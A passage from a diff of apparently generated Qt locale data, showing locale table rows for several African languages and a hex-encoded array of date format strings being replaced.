24420,48 , 24468,97 , 320,24 , 16125,35 , 16160,65 , 16225,14 , 16125,35 , 16160,65 , 16225,14 , 442,6 , 448,6 }, // Soga/Uganda + { 204, 111, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 25596,48 , 13314,84 , 134,24 , 25660,48 , 13465,84 , 320,24 , 16239,21 , 16260,75 , 85,14 , 16239,21 , 16260,75 , 85,14 , 49,4 , 49,4 }, // Luyia/Kenya + { 205, 210, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 25644,48 , 13314,84 , 134,24 , 25708,48 , 13465,84 , 320,24 , 16335,28 , 8627,60 , 14647,14 , 16335,28 , 8627,60 , 14647,14 , 448,9 , 454,8 }, // Asu/Tanzania + { 206, 111, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 25692,48 , 25740,94 , 25834,24 , 25756,48 , 25804,94 , 25898,24 , 16363,28 , 16391,69 , 16460,14 , 16363,28 , 16391,69 , 16460,14 , 457,9 , 462,6 }, // Teso/Kenya + { 206, 221, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 25692,48 , 25740,94 , 25834,24 , 25756,48 , 25804,94 , 25898,24 , 16363,28 , 16391,69 , 16460,14 , 16363,28 , 16391,69 , 16460,14 , 457,9 , 462,6 }, // Teso/Uganda + { 207, 67, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 50,16 , 18,7 , 25,15 , 317,48 , 518,118 , 494,24 , 344,48 , 545,118 , 521,24 , 16474,28 , 16502,56 , 16558,14 , 16474,28 , 16502,56 , 16558,14 , 0,2 , 0,2 }, // Saho/Eritrea + { 208, 132, 46, 160, 59, 37, 48, 45, 43, 101, 334,8 , 90,13 , 40,5 , 45,13 , 25858,46 , 25904,88 , 25992,24 , 25922,46 , 25968,88 , 26056,24 , 16572,28 , 16600,53 , 16653,14 , 16572,28 , 16600,53 , 16653,14 , 466,6 , 468,6 }, // Koyra Chiini/Mali + { 209, 210, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 13266,48 , 23088,87 , 134,24 , 13417,48 , 23152,87 , 320,24 , 14557,28 , 14585,62 , 14647,14 , 14557,28 , 14585,62 , 14647,14 , 395,5 , 399,9 }, // Rwa/Tanzania + { 210, 111, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 26016,48 , 26064,186 , 26250,24 , 26080,48 , 26128,186 , 26314,24 , 16667,28 , 16695,69 , 16764,14 , 16667,28 , 16695,69 , 16764,14 , 472,2 , 474,2 }, // Luo/Kenya + { 211, 221, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 22562,48 , 22610,152 , 134,24 , 22626,48 , 22674,152 , 320,24 , 14317,28 , 14345,74 , 14419,14 , 14317,28 , 14345,74 , 14419,14 , 0,2 , 0,2 }, // Chiga/Uganda + { 212, 145, 44, 160, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 26274,48 , 26322,86 , 26408,24 , 26338,48 , 26386,86 , 26472,24 , 16778,28 , 16806,48 , 16854,14 , 16778,28 , 16806,48 , 16854,14 , 474,9 , 476,10 }, // Central Morocco Tamazight/Morocco + { 213, 132, 46, 160, 59, 37, 48, 45, 43, 101, 334,8 , 90,13 , 40,5 , 45,13 , 25858,46 , 25904,88 , 25992,24 , 25922,46 , 25968,88 , 26056,24 , 16868,28 , 16896,54 , 16653,14 , 16868,28 , 16896,54 , 16653,14 , 466,6 , 468,6 }, // Koyraboro Senni/Mali + { 214, 210, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 13266,48 , 26432,84 , 134,24 , 13417,48 , 26496,84 , 320,24 , 16950,28 , 16978,63 , 8687,14 , 16950,28 , 16978,63 , 8687,14 , 483,5 , 486,8 }, // Shambala/Tanzania { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0 } // trailing 0s }; static const ushort date_format_data[] = { 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x79, 0x79, 0x79, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x79, 0x79, 0x79, 0x64, 0x64, 0x2f, 0x4d, 0x4d, 0x2f, 0x79, 0x79, 0x64, 0x64, 0x64, 0x64, 0x2c, -0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x64, 0x2c, 0x20, 0x79, 0x79, 0x79, 0x79, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x4d, -0x4d, 0x4d, 0x4d, 0x20, 0x64, 0x64, 0x2c, 0x20, 0x79, 0x79, 0x79, 0x79, 0x79, 0x79, 0x79, 0x79, 0x2f, 0x4d, 0x4d, 0x2f, -0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x20, 0x64, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x79, 0x79, 0x79, 0x79, -0x79, 0x79, 0x79, 0x2d, 0x4d, 0x4d, 0x2d, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x20, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, -0x20, 0x79, 0x79, 0x79, 0x79, 0x79, 0x79, 0x2d, 0x4d, 0x4d, 0x2d, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x64, -0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x79, 0x79, 0x79, 0x64, 0x64, 0x64, 0x64, 0x1363, 0x20, 0x64, 0x64, 0x20, -0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x1240, 0x1295, 0x20, 0x79, 0x79, 0x79, 0x79, 0x20, 0x47, 0x64, 0x200f, 0x2f, 0x4d, 0x200f, 0x2f, -0x79, 0x79, 0x79, 0x79, 0x64, 0x64, 0x64, 0x64, 0x60c, 0x20, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x60c, 0x20, 0x79, 0x79, -0x79, 0x79, 0x4d, 0x4d, 0x2f, 0x64, 0x64, 0x2f, 0x79, 0x79, 0x64, 0x2d, 0x4d, 0x2d, 0x79, 0x79, 0x79, 0x79, 0x64, 0x64, -0x64, 0x64, 0x2c, 0x20, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x2c, 0x20, 0x79, 0x79, 0x79, 0x79, 0x79, 0x79, 0x2f, 0x4d, -0x4d, 0x2f, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x79, 0x79, 0x79, 0x79, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, -0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x79, 0x79, 0x79, 0x79, 0x27, 0x65, 0x6b, 0x6f, 0x27, 0x20, 0x4d, 0x4d, -0x4d, 0x4d, 0x27, 0x72, 0x65, 0x6e, 0x27, 0x20, 0x64, 0x64, 0x27, 0x61, 0x27, 0x64, 0x2f, 0x4d, 0x2f, 0x79, 0x79, 0xf66, -0xfa4, 0xfb1, 0xf72, 0xf0b, 0xf63, 0xf7c, 0xf0b, 0x20, 0x79, 0x79, 0x79, 0x79, 0x20, 0xf5f, 0xfb3, 0xf0b, 0x20, 0x4d, 0x4d, 0x20, -0xf5a, 0xf7a, 0xf66, 0xf0b, 0x20, 0x64, 0x64, 0xf66, 0xfa4, 0xfb1, 0xf72, 0xf0b, 0xf63, 0xf7c, 0xf0b, 0x79, 0x79, 0x79, 0x79, 0x20, -0xf5f, 0xfb3, 0xf0b, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0xf5a, 0xf7a, 0xf66, 0xf0b, 0x20, 0x64, 0x64, 0x64, 0x64, 0x2e, 0x4d, -0x4d, 0x2e, 0x79, 0x79, 0x64, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x79, 0x79, 0x79, 0x2c, 0x20, 0x64, 0x64, -0x64, 0x64, 0x64, 0x2e, 0x4d, 0x2e, 0x79, 0x79, 0x64, 0x2f, 0x4d, 0x2f, 0x79, 0x79, 0x79, 0x79, 0x64, 0x64, 0x64, 0x64, -0x20, 0x1790, 0x17d2, 0x1784, 0x17c3, 0x20, 0x64, 0x20, 0x1781, 0x17c2, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x1786, 0x17d2, 0x1793, 0x17b6, -0x17c6, 0x20, 0x20, 0x79, 0x79, 0x79, 0x79, 0x64, 0x64, 0x64, 0x64, 0x20, 0x64, 0x20, 0x27, 0x64, 0x65, 0x27, 0x20, 0x4d, -0x4d, 0x4d, 0x4d, 0x20, 0x27, 0x64, 0x65, 0x27, 0x20, 0x79, 0x79, 0x79, 0x79, 0x79, 0x79, 0x2d, 0x4d, 0x2d, 0x64, 0x79, -0x79, 0x79, 0x79, 0x5e74, 0x4d, 0x6708, 0x64, 0x65e5, 0x64, 0x64, 0x64, 0x64, 0x79, 0x79, 0x5e74, 0x4d, 0x6708, 0x64, 0x65e5, 0x79, -0x79, 0x79, 0x79, 0x5e74, 0x4d, 0x4d, 0x6708, 0x64, 0x64, 0x65e5, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x2e, 0x4d, 0x4d, 0x2e, -0x79, 0x79, 0x79, 0x79, 0x2e, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x64, 0x2e, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, -0x79, 0x79, 0x79, 0x2e, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x64, 0x2e, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x79, -0x79, 0x79, 0x64, 0x64, 0x64, 0x64, 0x20, 0x27, 0x64, 0x65, 0x6e, 0x27, 0x20, 0x64, 0x2e, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, -0x20, 0x79, 0x79, 0x79, 0x79, 0x64, 0x64, 0x2d, 0x4d, 0x4d, 0x2d, 0x79, 0x79, 0x64, 0x2f, 0x4d, 0x4d, 0x2f, 0x79, 0x79, -0x4d, 0x2f, 0x64, 0x2f, 0x79, 0x79, 0x64, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x79, 0x79, 0x79, 0x64, 0x64, -0x2f, 0x4d, 0x4d, 0x2f, 0x79, 0x79, 0x79, 0x79, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x64, 0x2c, 0x20, 0x4d, 0x4d, 0x4d, -0x4d, 0x20, 0x79, 0x79, 0x79, 0x79, 0x64, 0x2e, 0x4d, 0x2e, 0x79, 0x79, 0x79, 0x79, 0x64, 0x64, 0x64, 0x64, 0x20, 0x64, -0x2e, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x79, 0x79, 0x79, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x64, 0x64, 0x2e, -0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x79, 0x79, 0x79, 0x64, 0x2d, 0x4d, 0x4d, 0x2d, 0x79, 0x79, 0x64, 0x2d, 0x4d, -0x2d, 0x79, 0x79, 0x79, 0x79, 0x79, 0x79, 0x2e, 0x4d, 0x4d, 0x2e, 0x64, 0x64, 0x2e, 0x79, 0x79, 0x79, 0x79, 0x2e, 0x20, -0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x64, 0x2e, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, -0x79, 0x79, 0x79, 0x79, 0x20, 0x27, 0x436, 0x27, 0x2e, 0x79, 0x79, 0x2e, 0x20, 0x4d, 0x2e, 0x20, 0x64, 0x2e, 0x79, 0x79, -0x79, 0x79, 0xb144, 0x20, 0x4d, 0xc6d4, 0x20, 0x64, 0xc77c, 0x20, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0xe97, 0xeb5, -0x20, 0x20, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x47, 0x20, 0x79, 0x79, 0x79, 0x79, 0x79, 0x79, 0x2e, 0x64, 0x2e, -0x4d, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x79, 0x79, 0x79, 0x79, 0x2e, 0x20, 0x27, 0x67, 0x61, 0x64, 0x61, 0x27, 0x20, -0x64, 0x2e, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x79, 0x79, 0x79, 0x79, 0x20, 0x27, 0x6d, 0x27, 0x2e, 0x20, 0x4d, 0x4d, 0x4d, -0x4d, 0x20, 0x64, 0x20, 0x27, 0x64, 0x27, 0x2e, 0x2c, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x2e, 0x4d, 0x2e, 0x79, 0x79, -0x64, 0x64, 0x64, 0x64, 0x20, 0x64, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x79, 0x79, 0x79, 0x79, 0x79, 0x79, 0x79, -0x2c, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x64, 0x2c, 0x20, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, -0x64, 0x20, 0x27, 0x74, 0x61, 0x27, 0x2019, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x79, 0x79, 0x79, 0x4d, 0x4d, 0x4d, -0x4d, 0x20, 0x64, 0x2c, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x79, 0x79, 0x79, 0x79, 0x79, 0x79, 0x79, 0x79, 0x2f, 0x4d, -0x2f, 0x64, 0x64, 0x64, 0x64, 0x64, 0x20, 0x62f, 0x20, 0x79, 0x79, 0x79, 0x79, 0x20, 0x62f, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, -0x20, 0x64, 0x79, 0x79, 0x2f, 0x4d, 0x2f, 0x64, 0x64, 0x64, 0x64, 0x64, 0x20, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, -0x79, 0x79, 0x79, 0x79, 0x20, 0x47, 0x47, 0x47, 0x47, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x64, 0x20, 0x27, 0x64, 0x65, -0x27, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x27, 0x64, 0x65, 0x27, 0x20, 0x79, 0x79, 0x79, 0x79, 0x64, 0x64, 0x2f, 0x4d, -0x4d, 0x2f, 0x79, 0x79, 0x79, 0x64, 0x64, 0x2e, 0x4d, 0x4d, 0x2e, 0x79, 0x79, 0x79, 0x79, 0x64, 0x64, 0x64, 0x64, 0x2c, -0x20, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x79, 0x79, 0x79, 0x20, 0x27, 0x433, 0x27, 0x2e, 0x64, 0x2e, 0x4d, -0x2e, 0x79, 0x79, 0x2e, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x64, 0x64, 0x2e, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, -0x79, 0x79, 0x79, 0x2e, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x79, 0x79, 0x79, 0x79, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, -0x64, 0x64, 0x64, 0x64, 0x64, 0x20, 0x64, 0x64, 0x20, 0x27, 0x64, 0x65, 0x27, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x27, -0x64, 0x65, 0x27, 0x20, 0x79, 0x79, 0x79, 0x79, 0x64, 0x64, 0x64, 0x64, 0x20, 0x27, 0x64, 0x65, 0x6e, 0x27, 0x20, 0x64, -0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x79, 0x79, 0x79, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x79, 0x79, -0x79, 0x64, 0x64, 0x64, 0x64, 0xe17, 0xe35, 0xe48, 0x20, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x47, 0x20, 0x79, 0x79, -0x79, 0x79, 0x64, 0x64, 0x64, 0x64, 0x1361, 0x20, 0x64, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x1218, 0x12d3, 0x120d, 0x1272, -0x20, 0x79, 0x79, 0x79, 0x79, 0x20, 0x47, 0x64, 0x64, 0x64, 0x64, 0x1363, 0x20, 0x64, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, -0x20, 0x1218, 0x12d3, 0x120d, 0x1272, 0x20, 0x79, 0x79, 0x79, 0x79, 0x20, 0x47, 0x64, 0x64, 0x2d, 0x4d, 0x4d, 0x2d, 0x79, 0x79, -0x79, 0x79, 0x64, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x79, 0x79, 0x79, 0x20, 0x64, 0x64, 0x64, 0x64, 0x64, -0x64, 0x64, 0x64, 0x2c, 0x20, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x79, 0x79, 0x79, 0x20, 0x27, 0x440, 0x27, -0x2e, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x27, 0x6e, 0x67, 0xe0, 0x79, 0x27, 0x20, 0x64, 0x64, 0x20, 0x4d, 0x4d, 0x4d, -0x4d, 0x20, 0x27, 0x6e, 0x103, 0x6d, 0x27, 0x20, 0x79, 0x79, 0x79, 0x79, 0x64, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x2c, -0x20, 0x79, 0x79, 0x79, 0x79, 0x64, 0x64, 0x64, 0x64, 0x1361, 0x20, 0x64, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x130d, -0x122d, 0x130b, 0x20, 0x79, 0x79, 0x79, 0x79, 0x20, 0x47, 0x64, 0x64, 0x64, 0x64, 0x1365, 0x20, 0x64, 0x64, 0x20, 0x4d, 0x4d, -0x4d, 0x4d, 0x20, 0x1218, 0x12d3, 0x120d, 0x1275, 0x20, 0x79, 0x79, 0x79, 0x79, 0x20, 0x47, 0x64, 0x64, 0x64, 0x64, 0x1361, 0x20, -0x64, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x12ee, 0x121d, 0x20, 0x79, 0x79, 0x79, 0x79, 0x20, 0x47, 0x64, 0x64, 0x64, -0x64, 0x20, 0x64, 0x20, 0x27, 0x64, 0x69, 0x27, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x27, 0x64, 0x61, 0x6c, 0x27, 0x20, -0x79, 0x79, 0x79, 0x79 +0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x64, 0x2c, 0x20, 0x79, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, +0x20, 0x64, 0x64, 0x2c, 0x20, 0x79, 0x79, 0x79, 0x79, 0x79, 0x2d, 0x4d, 0x4d, 0x2d, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, +0x20, 0x64, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x64, 0x64, 0x64, 0x64, 0x20, 0x64, 0x20, 0x4d, 0x4d, 0x4d, +0x4d, 0x20, 0x79, 0x79, 0x79, 0x2d, 0x4d, 0x4d, 0x2d, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x64, 0x64, 0x20, +0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x64, 0x64, 0x2f, 0x4d, 0x4d, 0x2f, 0x79, 0x79, 0x79, 0x79, 0x64, 0x64, 0x64, 0x64, +0x2c, 0x20, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x64, 0x200f, 0x2f, 0x4d, 0x200f, 0x2f, 0x79, 0x79, 0x79, 0x79, +0x64, 0x64, 0x64, 0x64, 0x60c, 0x20, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x60c, 0x20, 0x79, 0x4d, 0x4d, 0x2f, 0x64, 0x64, +0x2f, 0x79, 0x79, 0x64, 0x2d, 0x4d, 0x2d, 0x79, 0x79, 0x79, 0x79, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x64, 0x20, 0x4d, +0x4d, 0x4d, 0x4d, 0x2c, 0x20, 0x79, 0x79, 0x79, 0x2f, 0x4d, 0x4d, 0x2f, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, +0x64, 0x2c, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x2c, 0x20, 0x79, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x79, 0x27, 0x65, 0x6b, +0x6f, 0x27, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x27, 0x72, 0x65, 0x6e, 0x27, 0x20, 0x64, 0x64, 0x27, 0x61, 0x27, 0x64, 0x2f, +0x4d, 0x2f, 0x79, 0x79, 0xf66, 0xfa4, 0xfb1, 0xf72, 0xf0b, 0xf63, 0xf7c, 0xf0b, 0x79, 0x20, 0xf5f, 0xfb3, 0xf0b, 0x20, 0x4d, 0x4d, +0x4d, 0x4d, 0x20, 0xf5a, 0xf7a, 0xf66, 0xf0b, 0x20, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x79, 0x20, 0x4d, 0x4d, +0x4d, 0x4d, 0x20, 0x64, 0x64, 0x64, 0x64, 0x2e, 0x4d, 0x4d, 0x2e, 0x79, 0x79, 0x64, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, +0x20, 0x79, 0x2c, 0x20, 0x64, 0x64, 0x64, 0x64, 0x64, 0x2e, 0x4d, 0x2e, 0x79, 0x79, 0x64, 0x2f, 0x4d, 0x2f, 0x79, 0x79, +0x79, 0x79, 0x64, 0x64, 0x64, 0x64, 0x20, 0x1790, 0x17d2, 0x1784, 0x17c3, 0x20, 0x64, 0x20, 0x1781, 0x17c2, 0x20, 0x4d, 0x4d, 0x4d, +0x4d, 0x20, 0x1786, 0x17d2, 0x1793, 0x17b6, 0x17c6, 0x20, 0x79, 0x64, 0x64, 0x64, 0x64, 0x20, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, +0x20, 0x27, 0x64, 0x65, 0x27, 0x20, 0x79, 0x79, 0x79, 0x2d, 0x4d, 0x2d, 0x64, 0x79, 0x5e74, 0x4d, 0x6708, 0x64, 0x65e5, 0x64, +0x64, 0x64, 0x64, 0x79, 0x79, 0x5e74, 0x4d, 0x6708, 0x64, 0x65e5, 0x79, 0x5e74, 0x4d, 0x4d, 0x6708, 0x64, 0x64, 0x65e5, 0x64, 0x64, +0x64, 0x64, 0x79, 0x79, 0x2f, 0x4d, 0x2f, 0x64, 0x64, 0x64, 0x2e, 0x20, 0x4d, 0x4d, 0x2e, 0x20, 0x79, 0x79, 0x79, 0x79, +0x2e, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x64, 0x2e, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x2e, 0x64, 0x64, 0x64, +0x64, 0x2c, 0x20, 0x64, 0x2e, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x64, 0x64, 0x64, 0x64, 0x20, 0x27, 0x64, 0x65, +0x6e, 0x27, 0x20, 0x64, 0x2e, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x64, 0x64, 0x2d, 0x4d, 0x4d, 0x2d, 0x79, 0x79, +0x64, 0x2f, 0x4d, 0x4d, 0x2f, 0x79, 0x79, 0x4d, 0x2f, 0x64, 0x2f, 0x79, 0x79, 0x64, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, +0x20, 0x79, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x2c, 0x20, 0x79, 0x79, 0x79, 0x79, 0x79, +0x2f, 0x4d, 0x4d, 0x2f, 0x64, 0x64, 0x64, 0x2e, 0x4d, 0x2e, 0x79, 0x79, 0x79, 0x79, 0x64, 0x64, 0x64, 0x64, 0x20, 0x64, +0x2e, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x64, 0x64, 0x2e, 0x20, 0x4d, 0x4d, +0x4d, 0x4d, 0x20, 0x79, 0x64, 0x2d, 0x4d, 0x4d, 0x2d, 0x79, 0x79, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x64, 0x20, 0x5d1, +0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x64, 0x2d, 0x4d, 0x2d, 0x79, 0x79, 0x79, 0x79, 0x79, 0x79, 0x2e, 0x4d, 0x4d, 0x2e, +0x64, 0x64, 0x2e, 0x79, 0x2e, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x64, 0x2e, 0x2c, 0x20, 0x64, 0x64, 0x64, 0x64, 0x64, +0x64, 0x64, 0x64, 0x2c, 0x20, 0x64, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x79, 0x79, 0x79, 0x64, 0x64, 0x64, +0x64, 0x2c, 0x20, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x20, 0x27, 0x436, 0x27, 0x2e, 0x79, 0x79, 0x2e, 0x20, +0x4d, 0x2e, 0x20, 0x64, 0x2e, 0x79, 0xb144, 0x20, 0x4d, 0xc6d4, 0x20, 0x64, 0xc77c, 0x20, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, +0x64, 0x64, 0xe97, 0xeb5, 0x20, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x47, 0x20, 0x79, 0x64, 0x64, 0x64, 0x64, 0x2c, +0x20, 0x79, 0x2e, 0x20, 0x27, 0x67, 0x61, 0x64, 0x61, 0x27, 0x20, 0x64, 0x2e, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x79, 0x20, +0x27, 0x6d, 0x27, 0x2e, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x64, 0x20, 0x27, 0x64, 0x27, 0x2e, 0x2c, 0x64, 0x64, 0x64, +0x64, 0x64, 0x64, 0x2e, 0x4d, 0x2e, 0x79, 0x79, 0x64, 0x64, 0x64, 0x64, 0x20, 0x64, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x20, +0x79, 0x79, 0x2c, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x64, 0x2c, 0x20, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, +0x2c, 0x20, 0x64, 0x20, 0x27, 0x74, 0x61, 0x27, 0x2019, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x79, 0x79, 0x79, 0x79, +0x2f, 0x4d, 0x2f, 0x64, 0x64, 0x64, 0x64, 0x64, 0x20, 0x62f, 0x20, 0x79, 0x20, 0x62f, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, +0x64, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x64, 0x20, 0x27, 0x64, 0x65, 0x27, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x27, +0x64, 0x65, 0x27, 0x20, 0x79, 0x64, 0x64, 0x2e, 0x4d, 0x4d, 0x2e, 0x79, 0x79, 0x79, 0x79, 0x64, 0x64, 0x64, 0x64, 0x2c, +0x20, 0x64, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0xa0, 0x27, 0x433, 0x27, 0x2e, 0x64, 0x2e, 0x4d, 0x2e, 0x79, 0x79, +0x2e, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x64, 0x64, 0x2e, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x2e, 0x64, 0x64, +0x64, 0x64, 0x2c, 0x20, 0x79, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x64, 0x64, 0x2e, 0x20, 0x4d, 0x4d, 0x2e, 0x20, 0x79, +0x79, 0x64, 0x64, 0x64, 0x64, 0x20, 0x64, 0x20, 0x27, 0x64, 0x65, 0x27, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x27, 0x64, +0x65, 0x27, 0x20, 0x79, 0x64, 0x64, 0x64, 0x64, 0x20, 0x64, 0x64, 0x20, 0x27, 0x64, 0x65, 0x27, 0x20, 0x4d, 0x4d, 0x4d, +0x4d, 0x20, 0x27, 0x64, 0x65, 0x27, 0x20, 0x79, 0x64, 0x64, 0x64, 0x64, 0x27, 0x65, 0x6e, 0x27, 0x20, 0x27, 0x64, 0x65, +0x6e, 0x27, 0x20, 0x64, 0x3a, 0x27, 0x65, 0x27, 0x20, 0x4d, 0x4d, 0x4d, 0x4d, 0x20, 0x79, 0x64, 0x20, 